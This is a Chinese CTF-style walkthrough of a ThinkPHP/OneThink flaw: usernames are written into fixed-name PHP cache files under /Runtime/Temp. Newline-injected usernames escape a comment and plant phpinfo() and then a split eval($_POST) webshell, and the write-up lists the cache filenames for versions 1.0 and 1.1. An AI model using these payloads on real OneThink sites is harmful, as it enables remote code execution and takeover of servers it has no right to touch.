框架漏洞
thinkphp框架写的开源系统或被getshell tp官方onethink举例
因为尝试访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的确成功,所以很有可能就是这个漏洞。虽然图都挂掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的缓存函数S()是以File方式,在/Runtime/Temp下生成缓存php文件,而且缓存文件名固定。另外乌云的这个漏洞详情没有公开,能找到的文章只有这篇。
本地搭建
https://github.com/liu21st/onethink/releases
一不小心下成了1.1版本,不过应该也没有太多的不同,这里我需要安装两个所需的php插件,并设置可写
$ yum install php-mbstring
$ yum install php-gd
$ chmod 777 -R wwwroot
浏览/Runtime/Temp目录发现如下文件:
27cdbc1fb1747e4f56dfb350211408e1.php
2923514e8f7dfe49ac5aebd5073e6000.php
5f172c2585b382a65d91e0c51a64dc7f.php
77278367caf1eb2690f686654d77e163.php
ea40274ec2c219aa956e2d44e586834d.php
其中如下两个文件是跟用户有关的文件:
5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php
这个两个文件内容一样,但不一定同时存在,内容如下:
<?php
//000000000000a:1:{s:2:"u1";s:13:"Administrator";}
?>
分析利用
如果用户名中存在用换行符或者回车,即可让语句从单行注释中逃逸出来:如注册一个名为%0aphpinfo();//
的用户并登陆,这里需要注意注册以及登陆框会将输入url编码,所以要在burp里还原%0a,顺便吐槽一下验证码,太难看清了。登陆前只有ea的一个文件,登陆后5f文件也出现了。观察这两个文件内容如下:
<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";}
访问/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以开心的写木马了,但是这里限制了用户名为16个字符,所以只能分开写:
%0a@eval($_POST[0]);// [20个字符]
%0a$a=$_POST[0];// [16个字符]
%0a@eval($a);// [13个字符]
注册完分别登录,换存文件就变成如下,菜刀链接即可,flag就在根目录下
<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";s:2:"u5";s:16:"
$a=$_POST[0];//";s:2:"u7";s:13:"
@eval($a);//";}
版本不同
1.0 的缓存文件名为:
- 2bb202459c30a1628513f40ab22fa01a.php
- 865e8245bc0c525aa4a48bfb433d7c3e.php
1.1 的缓存文件名为:
- 5f172c2585b382a65d91e0c51a64dc7f.php
- ea40274ec2c219aa956e2d44e586834d.php